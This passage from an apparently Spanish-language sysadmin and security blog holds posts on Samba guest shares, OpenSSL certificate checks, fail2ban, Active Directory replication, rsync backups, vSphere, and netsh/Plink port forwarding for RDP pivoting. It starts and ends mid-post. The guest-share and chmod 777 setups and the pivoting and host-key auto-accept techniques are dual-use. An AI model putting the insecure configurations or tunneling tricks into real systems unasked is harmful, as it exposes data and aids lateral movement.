insegura chmod 777 + usershare allow guests = yes + security = SHARE expone el recurso a cualquiera con acceso de red, sin autenticación ni control de acceso. Úsalo únicamente en una red de laboratorio aislada o LAN cerrada de máquinas de confianza; nunca en una red con clientes desconocidos o accesible desde Internet. Instalación de Samba (en el caso de distribuciones basadas en Debian). sudo apt install samba samba-client smbfs Creamos la carpeta que vamos a compartir. Un usuario externo que tiene acceso al equipo a través de Samba, el sistema le da como nombre de usuario nobody y como nombre de grupo nogroup, por lo que hacemos propietarios de esta carpeta a los usuarios externos. sudo mkdir /mnt/publica sudo chmod 777 /mnt/publica sudo chown nobody:nogroup /mnt/publica Editamos el fichero de configuración de Samba. /etc/samba/smb.conf Añadimos o modificamos las siguientes directivas. Workgroup será el nombre del grupo de trabajo (en caso de no formar parte de un entorno de dominio) y permitimos el acceso a invitados. [global] workgroup = WORKGROUP usershare allow guests = yes Establecemos el recurso compartido. [NombreRecursoCompartido] comment = Mi recurso compartido path = /mnt/publica browseable = Yes writeable = Yes public = yes security = SHARE browseable: Atravesar y navegar entre las subcarpetas del recurso compartido. writeable: Escribir en el recurso compartido. public: el sinónimo de \u0026ldquo;guest ok\u0026rdquo;, permite ver y acceder al recurso compartido de manera pública. security: Por defecto suele estar comentado como \u0026ldquo;; security = user\u0026rdquo;, permite que se pueda acceder sin establecer ningún nombre de usuario. La directiva \u0026ldquo;security\u0026rdquo; es la que realmente permite un acceso tipo invitado desde cualquier otro sistema que no sea Linux ya sea Windows o MacOS. Debe colocarse sin espacios y al final del fichero de configuración smb.conf, un salto de línea después del último recurso compartido. Reiniciamos el servidor Samba para aplicar los cambios. sudo systemctl restart samba Hago referencia a uno de mis repositorios sobre un caso práctico de este ejemplo. https://github.com/adrianlois/rpi-proftpd-samba-apache2-nginx/tree/master/samba Riesgo de seguridad Link to heading No se recomienda habilitar la directiva usershare allow guests por motivos de seguridad, la configuración por defecto estará deshabilitada con valor No. https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html Saludos! "},{"title":"Renovar SSL: comprobar coincidencia certificado/clave/CSR (OpenSSL)","url":"/posts/renovar-certificados-ssl-coincidencia-clave-csr-openssl/","summary":"Al renovar los certificados de un servidor web podemos encontrarnos con errores en el momento de sustitución de los ficheros de certificados.\nApache + configuración SSLCipher strong\n# SSLCiphers …","tags":["Certificados digitales","PKI","OpenSSL","Hardening"],"date":"2019-08-01","content":"Al renovar los certificados de un servidor web podemos encontrarnos con errores en el momento de sustitución de los ficheros de certificados. Apache + configuración SSLCipher strong # SSLCiphers strong encryption SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1 SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256 SSLHonorCipherOrder on SSLCompression off SSLSessionTickets off # SSL certs config SSLEngine on SSLCertificateFile /etc/apache2/ssl/web/public.crt SSLCertificateKeyFile /etc/apache2/ssl/web/private.key SSLCertificateChainFile /etc/apache2/ssl/web/intermediate.crt Nginx + configuración SSLCipher strong ssl on; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Fix \u0026#39;The Logjam Attack\u0026#39;. ssl_ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5; ssl_prefer_server_ciphers on; ssl_dhparam /etc/ssl/dh2048_param.pem; #SSL certs config ssl_certificate /etc/nginx/ssl/web/intermediate.crt; ssl_certificate_key /etc/nginx/ssl/web/private.key; CA Bundle Link to heading Si disponemos de un fichero CA Bundle no es otra cosa que un certificado intermediate y raíz de la CA en un solo archivo, uno detrás del otro, debes combinarlos en uno solo para tener un CA_bundle completo. Los certificados raíz no son necesarios cuando se instala el certificado, para la instalación es suficiente activar en el servidor el correspondiente certificado intermediate. El orden de los certificados es partir del dominio y hacia la raíz. Intermedio cert1, intermedio cert2 por encima y así sucesivamente. La cadena es necesaria para mejorar la compatibilidad de los certificados con los navegadores web y otro tipo de clientes para que los navegadores reconozcan su certificado y no aparezcan advertencias de seguridad. Comprobar la integridad Link to heading Para comprobar la integridad de los ficheros de certificados, debemos revisar que la suma de verificación (checksum) es la misma para el certificado, la clave privada y el CSR (Certificate Signing Request). Los tres deben coincidir para ser válidos entre sí. Si se obtiene un valor MD5 o SHA256 diferente, significa que el certificado, la clave privada y el CSR no coinciden. De ser así podría ser que el certificado no se hubiese creado con el mismo CSR o el CSR se ha creado con otra clave privada. Para comprobar estos valores podemos hacerlo mediante modulus usando OpenSSL. Usando OpenSSL: MD5 y sha256sum Link to heading Certificado, clave privada, CSR: # openssl x509 -noout -modulus -in public.crt | md5 # openssl rsa -noout -modulus -in private.key | md5 # openssl req -noout -modulus -in intermediate.csr | md5 # openssl x509 -noout -modulus -in public.crt | sha256sum # openssl rsa -noout -modulus -in private.key | sha256sum # openssl req -noout -modulus -in intermediate.csr | sha256sum Saludos! "},{"title":"nping: Aplicando Reverse ARP de forma práctica (RARP)","url":"/posts/nping-aplicando-reverse-arp-de-forma-practica-rarp/","summary":"Este es un pequeño tip de cómo se puede realizar de forma práctica un RARP (Reverse Address Resolution Protocol). Conociendo una dirección MAC y un rango de red específico, realizar peticiones ICMP …","tags":["Pentesting","Red Team","Redes","Network Scan","Nmap","ARP Spoofing"],"date":"2019-07-29","content":"Este es un pequeño tip de cómo se puede realizar de forma práctica un RARP (Reverse Address Resolution Protocol). Conociendo una dirección MAC y un rango de red específico, realizar peticiones ICMP (ping) de forma automática a un pool de direcciones de red para posteriormente consultar las tablas ARP y descubrir la dirección IP asignada. Del software nmap podemos hacer uso del script nping para poder escanear un rango de red determinado de forma automática y listar la tabla ARP local redireccionando la salida a un filtro por la dirección o direcciones MAC que queremos descubrir su IP. nping --rate=5 \u0026lt;RangeIP\u0026gt; \u0026amp; arp -a | findstr \u0026#34;\u0026lt;MACAddress1\u0026gt; \u0026lt;MACAddress2\u0026gt; ...\u0026#34; nping --rate=5 192.168.1.1-255 \u0026amp; arp -a | findstr \u0026#34;00-11-2c-3f-44-55 11-2b-3c-44-22-33\u0026#34; nping ya dispone de un modo ARP aunque de las pruebas que he realizado en ninguna obtuve el resultado esperado. Saludos! "},{"title":"fail2ban: control de ataques de fuerza bruta en servicios Linux","url":"/posts/fail2ban-ataques-fuerza-bruta-servicios-linux/","summary":"fail2ban es una aplicación IDPS (Intrusion Detection and Prevention Systems) que supervisa las conexiones externas de direcciones IPs a servicios internos, se puede parametrizar para bloquear los …","tags":["Hardening","Blue Team","Fail2ban","SSH","Fuerza bruta","Redes","IoA"],"date":"2019-07-17","content":"fail2ban es una aplicación IDPS (Intrusion Detection and Prevention Systems) que supervisa las conexiones externas de direcciones IPs a servicios internos, se puede parametrizar para bloquear los intentos de accesos externos por fuerza bruta. En base al cumplimiento de las directivas definidas y asociadas a determinados servicios. fail2ban detecta conexiones que puedan ser anómalas y bloquea la IP pública que intenta acceder a dichos servicios por lo que sería un sistema activo (analiza, detecta y actúa al momento), lo hace añadiendo reglas iptables rechazando las conexiones procedentes de esa dirección IP pública. fail2ban escanea los ficheros de logs de los servicios configurados como por ejemplo /var/log/auth.log (ssh) o /var/log/apache/error_log (apache), comprobando los criterios establecidos en las directivas de cada servicio y baneando aquellas direcciones IPs públicas que intentaron acceder a dicho servicio y baneando estas direcciones IPs. En el fichero de configuración de servicios asociados a fail2ban, se refieren a estos servicios como \u0026ldquo;jails\u0026rdquo;. /etc/fail2ban/jail.conf En el caso de configurar el servicio SSH se podría definir de la siguiente manera. [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s bantime = 86400 findtime = 600 maxretry = 3 Donde las directivas son: bantime = Número de segundos en el cual una dirección IP permanecerá prohibida (10 min por defecto). findtime = Cantidad de tiempo entre intentos de inicio de sesión, antes de que se elimine el host. (predeterminado 10 min). maxretry = Número de intentos que deben realizarse antes de que se aplique una prohibición. (por defecto 3 intentos). Consultar las IPs que intentaron acceder y fueron baneadas o bloqueadas Link to heading Desde el cliente fail2ban-client indicando el tipo de jail (servicio sshd). # fail2ban-client status sshd Status for the jail: sshd |- Filter | |- Currently failed: 1 | |- Total failed: 4 | `- File list: /var/log/auth.log `- Actions |- Currently banned: 1 |- Total banned: 2 `- Banned IP list: 67.10.125.108 A través de iptables. # iptables -L -n Chain f2b-sshd (1 references) target prot opt source destination REJECT all -- 67.10.125.108 0.0.0.0/0 reject-with icmp-port-unreachable RETURN all -- 0.0.0.0/0 0.0.0.0/0 REJECT - reject-with icmp-port-unreachable: Conexión rechazada. Visualizar los registros de logs Link to heading Se almacenan en el fichero de log /var/log/fail2ban.log. Podemos hacer un \u0026ldquo;grep Ban\u0026rdquo; para ver los registros de las direcciones IPs baneadas y un \u0026ldquo;grep Unban\u0026rdquo; para las IPs que ya hayan sido desbloqueadas, transcurridos los tiempos definidos anteriormente en las directivas del fichero jail.conf. # cat /var/log/fail2ban.log | grep Unban 2019-07-15 21:12:41,602 fail2ban.actions [18533]: NOTICE [sshd] Unban 67.10.125.108 2019-07-15 21:32:01,540 fail2ban.actions [18705]: NOTICE [sshd] Unban 74.15.62.217 2019-07-15 21:42:50,191 fail2ban.actions [18705]: NOTICE [sshd] Unban 49.80.215.108 ... Banear dirección IP manualmente Link to heading fail2ban-client set \u0026lt;JAIL-NAME\u0026gt; banip \u0026lt;IP-ADDRESS\u0026gt; # fail2ban-client set sshd banip 37.10.145.208 Desbanear dirección IP manualmente Link to heading fail2ban-client set \u0026lt;JAIL-NAME\u0026gt; unbanip \u0026lt;IP-ADDRESS\u0026gt; # fail2ban-client set sshd unbanip 37.10.145.208 Desbanear dirección IP manualmente a través de iptables indicando el número de regla. # iptables -L f2b-sshd --line-numbers Chain f2b-sshd (1 references) num target prot opt source destination 1 REJECT all -- 67.10.125.108 0.0.0.0/0 reject-with icmp-port-unreachable 2 RETURN all -- anywhere anywhere # iptables -D f2b-sshd 1 Desbanear IP manualmente a través de iptables indicando directamente la dirección IP pública. iptables -D f2b-sshd -s 67.10.125.108 -j REJECT Configurar una Whitelist en fail2ban Link to heading Configurar un pool de IPs a ignorar de los baneos o bloqueos temporales. Se define con la directiva ignoreip en el fichero de configuración /etc/fail2ban/jail.conf. ignoreip = 127.0.0.1/8 ::1 \u0026lt;IP interna o externa, rango de red a ignorar\u0026gt; ignoreip = 127.0.0.1/8 ::1 192.168.10.0/24 Saludos! "},{"title":"Migración FRS → DFSR en controladores de dominio Windows Server (dfsmig)","url":"/posts/migracion-frs-dfsr-controladores-dominio-windows-server-dfsmig/","summary":"En el caso que tengamos un controlador de dominio Windows Server 2008 R2 con replicación FRS (File Replication Service) y se necesite migrar a unos nuevos controladores de dominio Windows Server 2019 …","tags":["Hardening","Blue Team","Active Directory","GPO"],"date":"2019-04-17","content":"En el caso que tengamos un controlador de dominio Windows Server 2008 R2 con replicación FRS (File Replication Service) y se necesite migrar a unos nuevos controladores de dominio Windows Server 2019 que haga uso del sistema de replicación DFS (Distributed File System) habría que realizar una migración de los controladores viejos a un sistema de replicación DFS. Elevar el nivel funcional Link to heading Primero será necesario elevar el nivel funcional del dominio en los controladores de dominio viejos. El nivel funcional determina las características de los Servicios de dominio de Active Directory (AD DS) que están habilitadas en un dominio o bosque. El nivel funcional del bosque limita al nivel funcional del dominio y solo afecta a los servicios de AD de los controladores de dominio, en el caso de tener un servicio DHCP, IIS, WSUS, etc. no se verían afectados. En los controladores de dominio viejos. Dominios y confianzas de Active Directory. Figura 1: Elevar el nivel funcional del dominio\u0026hellip; Figura 2: Elevar el nivel funcional del dominio disponible al nivel más alto posible. Comprobar el estado de la carpeta SYSVOL Link to heading Comprobar que la carpeta SYSVOL se está compartiendo. Ejecutar net share en uno de los controladores de dominio. Comprobar el estado de los DCs con dcdiag. dcdiag /e /test:sysvolcheck /test:advertising Comprobar el path y el estado de la carpeta SYSVOL a través del registro de uno de los DCs. Valor SysvolReady a 1. HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Netlogon\\Parameters Figura 3: Comprobar la replicación de SYSVOL en el registro. Comprobar replicación entre DCs Link to heading Verificar con repadmin la replicación antes de realizar la migración. *#**Muestra el estado de replicación de los controladores de dominio por última vez**.* repadmin /showrepl *#**Identifica los DC\u0026#39;s que fallan en la replicación entrante o saliente**.* repadmin /replsummary # Otra forma de comprobar la replicación usando dcdiag. dcdiag /test:replications Comprobar que el servicio de \u0026ldquo;DFS Replication Service\u0026rdquo; está corriendo en modo automático en todos los DCs de dominio. sc qc DFSR Tipos de estado de migración FRS a DFSR Link to heading Estados Estables / Estados Globales de Migración STATE 0 START STATE 1 PREPARED STATE 2 REDIRECTED STATE 3 ELIMINATED Estados de Transición / Estados Locales de Migración STATE 4 Preparing STATE 5 Waiting for initial sync to complete STATE 6 Redirecting STATE 7 Eliminating STATE 8 Undo redirecting STATE 9 Undo preparing Una vez que hemos pasado al estado 3 ELIMINATED ya no hay posibilidad de hacer rollback a una situación anterior. Sin rollback tras estado 3 Pasar al estado ELIMINATED (estado 3) es irreversible: purga el servicio FRS de todos los DC y no se puede volver a un modo dual ni revertir a FRS-only. Antes de continuar, verifica con dfsrdiag replicationstate que la replicación en estados 1 y 2 es totalmente correcta en todos los DCs. Más info: https://blogs.technet.microsoft.com/filecab/2008/02/08/sysvol-migration-series-part-1-introduction-to-the-sysvol-migration-process Migración FRS a DFSR Link to heading Se hará uso de la herramienta en línea de comandos dfsrmig. dfsrmig /setglobalstate 1 Estado 1 global (PREPARED) se crearán todos los objetos necesarios para la replicación DFS-R. Se crea un nuevo recurso compartido SYSVOL_DFSR (C:\\Windows\\SYSVOL_DFSR) dejando de momento el actual SYSVOL. Podemos usar dfsrmig /getmigrationstate para comprobar el estado actual de la migración. Figura 4: Migración FRS a DFSR - Estado 1 global (Prepared). Estado 2 global (REDIRECTED) lanzará el proceso de migración desde SYSVOL a SYSVOL_DFSR. dfsrmig /setglobalstate 2 Figura 5: Migración FRS a DFSR - Estado 2 global (Redirected). El editor ADSI (Active Directory Services Interfaces) es un editor del directorio de bajo nivel basado en LDAP que permite la edición y visualización de atributos de los objetos del bosque. Además nos permite modificar aquellos atributos que no podemos trabajar desde las otras consolas de administración del directorio como Usuarios y equipos de Active Directory, Sitios y servicios u otras. AD LDS (Active Directory Lightweight Directory Services) es un servicio de directorio LDAP que proporciona almacenamiento y recuperación de datos a aplicaciones habilitadas para el uso de directorios, sin las dependencias necesarias para los Servicios de dominio de Active Directory. Comprobamos que FRS como DFSR siguen activos en este punto de la migración. Figura 6: Comprobación de estado de FRS y DFSR en el editor ADSI. Estado 3 global (ELIMINATED) eliminará la carpeta SYSVOL y deshabilitará el servicio FRS. En este punto como ya se comentó anteriormente no hay posibilidad de vuelta atrás. dfsrmig /setglobalstate 3 Figura 7: Migración FRS a DFSR - Estado 3 global (Eliminated). Una vez finalizada la migración comprobamos a través del editor ADSI que el servicio FRS ya no se esté usando. Figura 8: Comprobación de eliminación de FRS en el editor ADSI. Comprobamos en la consola de servicios (services.msc) que FRS está en estado deshabilitado y DFSR está en ejecución. Figura 9: Comprobar el estado de los servicios FRS y DFS-R. Por último, comprobamos que no hay fallos y que la replicación es correcta entre todos los controladores de dominio. repadmin /replsummary repadmin /showrepl Figura 10: Comprobar finalmente la correcta replicación entre todos los controladores. Saludos! "},{"title":"Fallos de replicación FRS/DFSR en Active Directory: forzar sincronización (Burflags)","url":"/posts/fallos-replicacion-frs-dfsr-active-directory-sincronizacion-burflags/","summary":" Replicación FRS y DFSR Link to heading FRS (File Replication Service) servicio para distribuir archivos compartidos y objetos de directiva de grupo entre controladores de dominio a través del recurso …","tags":["Blue Team","Hardening","Active Directory","Backups","GPO"],"date":"2019-04-12","content":" Replicación FRS y DFSR Link to heading FRS (File Replication Service) servicio para distribuir archivos compartidos y objetos de directiva de grupo entre controladores de dominio a través del recurso C:\\Windows\\SYSVOL. Windows Server 2003 R2 y Windows Server 2008 son compatibles con DFS (Distributed File System) y el servicio de replicación de archivos. DFSR (Distributed File System Replication) disponible por defecto a partir de Windows Server 2008 R2, reemplaza al sistema FRS para la replicación del recurso SYSVOL en los servicios de dominio de Active Directory. DFS replica los objetos de configuración almacenados de Active Directory. Restauración \u0026ldquo;no autoritativa\u0026rdquo; y \u0026ldquo;autoritativa\u0026rdquo; Link to heading Restauración No-Autoritativa: conserva los USN (Update Sequence Number) de los objetos del Directorio Activo desde la fecha que se creó la copia de seguridad del estado del sistema (System State). El sistema de replicación de Active Directory utiliza este número para detectar y propagar los cambios de Active Directory entre los distintos servidores de la organización. Debido a que el USN del servidor restaurando siempre será anterior a los USN actuales, los datos de este servidor nunca se replicarán con el resto de controladores de dominio. Por el contrario, si existen datos más recientes en los otros servidores, el sistema de replicación de AD los utilizará para actualizar los datos restaurados. Este procedimiento se suele realizar cuando queremos restaurar algún complemento del Sistema Operativo como una cuenta de usuario, equipo, DC, etc. Restauración Autoritativa: debemos de realizar primero una restauración no autoritativa y luego mediante la utilidad NTDSUTIL realizar una restauración autoritativa. De esta forma se consigue que los Objetos restaurados se les cambie el número de secuencia de actualización USN para que sea mayor al de cualquier otro USN del directorio. Así el servidor restaurado se asegura de que cualquier dato u objeto sea replicado y distribuido adecuadamente en todos los controladores de dominio. Fallo de replicación FRS Link to heading En el caso de que tengamos dos o más controladores de dominio y que se apague un controlador de dominio el cual no esté correctamente sincronizado. Posteriormente, se levante un nuevo controlador de dominio con un sistema operativo más actual que PDC (Primary Domain Controller) si el DC viejo se volviese a levantar puede que ocurran fallos en la sincronización. Figura 1: Mensaje de fallo de replicación FRS en servicios de Active Directory. Registro de evento Id. 1308: KCC (Knowledge Consistency Checker) ha detectado errores. KCC es un proceso integrado que se ejecuta en todos los controladores de dominio y genera la topología de replicación de bosque de Active Directory. Figura 2: Comprobador de coherencia de la información KCC . Id. 1308. Registro de evento Id. 13508: Problemas en la replicación de objetos de los servicios de AD entre uno de los controladores de dominio. En este caso el servidor \u0026ldquo;X3550\u0026rdquo; no sincroniza con el servidor \u0026ldquo;SRVDOMINIO\u0026rdquo;. Figura 3: Fallo de sincronización de uno de los controladores de dominio. Id. 13508. ¿Cómo reinicializar o forzar la sincronización de replicación autoritativa o no autoritativa? Link to heading El valor del registro Burflags genera la copia de cada controlador de dominio del árbol de volumen del sistema (SYSVOL) en todos los controladores de dominio de Active Directory. Los valores D2 y D4 Burflags son los que controlan cómo se replica FRS entre los controladores de dominio. Si se inicia FRS con valor del registro Burflags establecido en D4 (sincronización autoritativa): FRS trata inicialmente los archivos y carpetas de su copia local del árbol de SYSVOL como autorizados para el conjunto de réplicas. Si tenemos varios controladores de dominio, Burflags se debería establecer con valor D4 en un controlador de dominio único y en D2 en los demás controladores de dominio de ese dominio. Esta configuración se conoce como Restauración autoritativa. Si se inicia FRS con el valor del registro Burflags establecido en D2 (sincronización no autoritativa): FRS realiza una sincronización completa de los archivos y carpetas desde un asociado de replicación directo o transitivo que aloje la copia autorizada de los archivos y carpetas del conjunto de réplicas. Esta configuración se conoce como Restauración no autoritativa aunque no se produzca ninguna restauración del estado del sistema (System State). La configuración D2 regenera la parte de FRS del controlador de dominio como si fuera nuevo. Configurar las réplicas de SYSVOL como autoritativo Link to heading Detener el servicio FRS de todos los controladores de dominio. En el PDC (Principal Domain Controller). (podemos averiguar el PDC haciendo un \u0026ldquo;netdom query fsmo\u0026rdquo;). Nos situamos en la siguiente rama del registro. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NtFrs\\Parameters\\Cumulative Replica Sets\\GUID HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NtFrs\\Parameters\\Replica Sets\\GUID GUID (Globally Unique Identifier) del conjunto de réplicas del volumen del sistema del dominio. Creamos o modificamos el valor DWORD BurFlags y lo establecemos a D4. Figura 4: Replicación FRS: Sincronización autoritativa BurFlags con valor D4. Reiniciamos el controlador de dominio principal y comprobamos que los servicios de Active Directory estén nuevamente sincronizados. Más info: https://support.microsoft.com/es-es/help/315457/how-to-rebuild-the-sysvol-tree-and-its-content-in-a-domain Después de forzar la sincronización entre los controladores de dominio, puede que nos interese transferir los roles FSMO y hacer purgado de los servicios del dominio (de darse el caso). Transferir roles FSMO Windows Server y hacer purgado de los servicios del dominio. Saludos! "},{"title":"Gestión de backups CIFS a servidor FTP remoto con rsync","url":"/posts/gestion-backups-cifs-servidor-ftp-remoto-rsync-linux/","summary":"Una forma de realizar backups de ficheros o directorios independientes entre un sistema Windows y servidor FTP remoto y los ficheros a realizar el backup están en un recurso compartido CIFS (SMB) de …","tags":["Hardening","Blue Team","Backups","FTP","SMB","CIFS","Cron"],"date":"2019-03-12","content":"Una forma de realizar backups de ficheros o directorios independientes entre un sistema Windows y servidor FTP remoto y los ficheros a realizar el backup están en un recurso compartido CIFS (SMB) de Windows, si disponemos de un sistema Linux podremos montar en dos directorios el recurso compartido Windows y el servidor FTP remoto. A posteriori realizar la copia sincronizada con rsync entre el directorio montado con CIFS y el directorio remoto FTP donde se almacenará la copia. Accedemos al sistema linux e instalamos los paquetes cifs-utils para poder montar sistemas de ficheros compartidos desde un sistema Windows y curlftpfs para montar el servidor FTP remoto. sudo apt install -y cifs-utils sudo apt install -y curlftpfs Creamos un directorio para montar el recurso compartido Windows y otro para montar el espacio del servidor FTP remoto y otorgamos permisos de control total, aunque esto dependerá de la gestión de usuarios y grupos de cómo tengamos configurado el entorno Linux. (Como ejemplo se montará partiendo de /mnt). mkdir /mnt/ftpbackup ; chmod -R 777 /mnt/ftpbackup mkdir /mnt/cifsbackup ; chmod -R 777 /mnt/cifsbackup Montamos el recurso compartido cifs de Windows. mount -t cifs //server/compartida /mnt/cifsbackup -o username=user,password=passw,domain=dominio //server/compartida: Será el recurso compartido cifs de Windows. /mnt/cifsbackup: Directorio que se usará para montar el recurso cifs de Windows en la máquina Linux. User, password y dominio: Será el usuario, contraseña y dominio si se trata de un usuario de dominio, si se trata de un usuario local de Windows sería el hostname de la máquina Windows. Montamos el directorio del servidor FTP remoto en el directorio local de la máquina Linux. (Como ejemplo se montará partiendo de /mnt.) curlftpfs user:passw@serverftp /mnt/ftpbackup user: Usuario de acceso al servidor FTP. passw: Password de acceso al servidor FTP. serverftp: URL, IP o hostname de acceso al servidor FTP. /mnt/ftpbackup: Directorio donde se montará el servidor FTP remoto en la máquina Linux. Una vez montados ambos recursos solo queda realizar el backup y que sincronice los datos desde el recurso compartido cifs de Windows hacia el servidor FTP remoto, al estar montados en el sistema Linux estos se tratarían como directorios locales. rsync -rtvp --log-file=/var/log/ficherolog /mnt/cifsbackup /mnt/ftpbackup r: Recursividad entre directorios. t: Preserva la modificación de fechas. v: Verbose, muestra más detalles. p: Preserva los permisos de los ficheros y directorios. \u0026ndash;log-file=/var/log/ficherolog: Almacena los resultados en un fichero de log. /mnt/cifsbackup: Datos origen. /mnt/ftpbackup: Datos destino. Para desmontar los recursos de los directorios. umount /mnt/ftpbackup umount /mnt/cifsbackup Para automatizar este proceso podemos crear un fichero bash script .sh que monte ambos recursos, realice el backup con rsync, enviarse el fichero de log a una dirección de correo electrónico y finalmente desmontar ambos recursos para que no permanezcan en la máquina Linux si no lo deseamos. Si queremos programar la ejecución de este script .sh a una fecha/hora concreta añadimos el script a una nueva línea en /etc/crontab de modo que se ejecute de forma programada. Saludos! "},{"title":"vSphere Web Client: opciones deshabilitadas en la VM","url":"/posts/vsphere-web-client-opciones-deshabilitadas-vm/","summary":"Este troubleshooting está recogido en la base de conocimiento.\nhttps://kb.vmware.com/s/article/2048748 El no poder ver las opciones habilitadas para poder editar la configuración entre otras de la VM …","tags":["Hardening","Blue Team","Permisos","ACLs","vSphere","vCenter"],"date":"2019-02-27","content":"Este troubleshooting está recogido en la base de conocimiento. https://kb.vmware.com/s/article/2048748 El no poder ver las opciones habilitadas para poder editar la configuración entre otras de la VM pueden ser debido a varias causas, las más habituales puede ser por la configuración de permisos o por tareas ejecutándose en segundo plano. Figura 1: Opciones deshabilitadas en la máquina virtual en vSphere web client. Para consultar las tareas en background de la VM afectada, nos conectamos por SSH al host ESXi y listamos sus VMs. vim-cmd vmsvc/getallvms Listar tareas de esa VM (vmid) vim-cmd vmsvc/get.tasklist \u0026lt;vmid\u0026gt; Hay tareas corriendo, si el resultado es algo como: (ManagedObjectReference) [\u0026#39;vim.Task:haTask-8-vim.VirtualMachine.createSnapshot-534613324\u0026#39;, \u0026#39;vim.Task:haTask-8-vim.VirtualMachine.powerOn-534613303\u0026#39;] No hay tareas corriendo en background, si el resultado es algo como: (ManagedObjectReference) [] Figura 2: Finalizar procesos VMs en host VMware ESXi. Finalizar procesos Link to heading ps | grep vmx kill \u0026lt;pid\u0026gt; Si con simplemente kill no se finalizan, usar el parámetro -9. kill -9 \u0026lt;pid\u0026gt; Esperamos unos 30 segundos aproximadamente y volvemos a listar los procesos con ps para comprobar que se finalizó correctamente. Más info: https://kb.vmware.com/s/article/1014165. Establecer permisos en la VM Link to heading Otorgar permisos a vSphere Web Client cambiando el rol de este grupo a Administrador. Figura 3: Cambiar el rol del grupo de vSphere Web Client a permisos de Administrador. Figura 4: Permisos de Administrador al grupo vSphere Web Client. Comprobamos que las opciones vuelven a estar disponibles y habilitadas para la VM. Figura 5: Opciones habilitadas de la VM en vSphere Web Client. Saludos! "},{"title":"NETSH portproxy: Port forwarding local en Windows","url":"/posts/netsh-portproxy-port-forwarding-local-en-windows/","summary":"Un método para crear túneles haciendo un reenvío de puertos usando un sistema Windows es el uso de la utilidad de comandos NETSH. Para hacer uso de este comando es necesario tener privilegios …","tags":["Red Team","Pivoting","Port Forwarding","Tunneling","RDP","Netsh"],"date":"2019-02-24","content":"Un método para crear túneles haciendo un reenvío de puertos usando un sistema Windows es el uso de la utilidad de comandos NETSH. Para hacer uso de este comando es necesario tener privilegios administrativos sobre la máquina. Netsh tiene una propiedad llamada portproxy la cual actúa como un proxy en las redes y aplicaciones IPv4 e IPv6. Mostraré un ejemplo que podría ser típico, se trata de un reenvío de puertos local con el fin de establecer una conexión de Escritorio Remoto (RDP) entre dos máquinas Windows. Si se trata de un reenvío de puertos entre redes IPv4 la sintaxis sería: netsh interface portproxy add v4tov4 listenport=\u0026lt;Puerto-Local\u0026gt; listenaddress=\u0026lt;IP-Local\u0026gt; connectport=\u0026lt;Puerto-Remoto\u0026gt; connectaddress=\u0026lt;IP-Remota\u0026gt; En el siguiente ejemplo se reenvía desde la máquina local y puerto local de escucha 9090 a la máquina remota 10.0.0.19 y puerto remoto al que nos conectaremos 3389. netsh interface portproxy add v4tov4 listenport=9090 listenaddress=localhost connectport=3389 connectaddress=10.0.0.19 listenport: Puerto IPv4 local en el que se escucha. listenaddress: Dirección IPv4 local en la que se escucha. connectport: Puerto IPv4 remoto al que conectarse. connectaddress: Dirección IPv4 remota a la que conectarse. Figura 1: Reenvío de puertos con Netsh estableciendo una conexión RDP entre dos máquinas Windows. Para comprobar las reglas añadidas de reenvío de puertos con Netsh portproxy podemos consultar la tabla de reglas. netsh interface portproxy show v4tov4 #Lista reglas en redes IPv4. netsh interface portproxy show all #Lista todas las reglas. Para \u0026ldquo;romper\u0026rdquo; la conexión o eliminar las reglas establecidas. netsh interface portproxy delete v4tov4 listenport=9090 listenaddress=localhost Figura 2: Comprobar reglas añadidas y puertos de Netsh portproxy en una conexión RDP y eliminar reglas. Saludos! "},{"title":"Plink SSH: auto-aceptar hostkey al crear túnel local port forwarding","url":"/posts/plink-ssh-auto-hostkey-fingerprint-tunel-local-forwarding/","summary":"Hostkey o fingerprint SSH\nCuando nos conectamos a través de un cliente SSH como PuTTY, por primera vez en una conexión se nos mostrará una alerta de seguridad indicando que el host key no está …","tags":["Pentesting","SSH","Tunneling","Port Forwarding","Pivoting","Fingerprint","RDP","Putty"],"date":"2019-02-16","content":"Hostkey o fingerprint SSH Cuando nos conectamos a través de un cliente SSH como PuTTY, por primera vez en una conexión se nos mostrará una alerta de seguridad indicando que el host key no está cacheado en el registro, no es más que la huella digital o fingerprint de la máquina remota a la que nos conectamos usado como método de confianza para garantizar la autenticidad de la máquina remota. Esta host key al no estar registrada o cacheada por la máquina cliente que establece la conexión por primera vez, nos alerta de que no hay garantía de que el servidor remoto sea quien creemos que es. ssh:ed25519 se trata de un esquema de firma digital EdDSA. Manteniendo la seguridad de otros esquemas con la principal ventaja de aportar más velocidad, más info aquí. Figura 1: Alerta de seguridad - Host key de la primera conexión SSH. Usando PuTTY las SSH host keys se cachean almacenándose en el registro de Windows. HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\SshHostKeys En un tipo de valor de cadena (REG_SZ). Figura 2: Registro Windows - SSH Host Keys de Putty. Conexión SSH con Plink Link to heading Comentado lo anterior, vamos a ver entonces con Plink (utilidad de comandos de Putty) como podemos conectarnos por SSH estableciendo un túnel port forwarding auto aceptando el hostkey. Pero qué pasa si no tenemos una interfaz gráfica ni un Putty y solo disponemos de una terminal de comandos en la que podemos incorporar un Plink. Cuando nos conectamos directamente al servidor SSH con Plink lo hacemos del siguiente modo. plink \u0026lt;host_servidor_SSH\u0026gt; De esta forma nos solicitará almacenar o no la hostkey en caché, sería la equivalencia a la ventana de alerta de seguridad de la hostkey que se muestran en las conexiones con Putty. Continuamos (y yes) almacenando la clave, nos pedirá usuario y contraseña. Y vemos que nos conecta al servidor remoto correctamente (independientemente de la mala interpretación en la 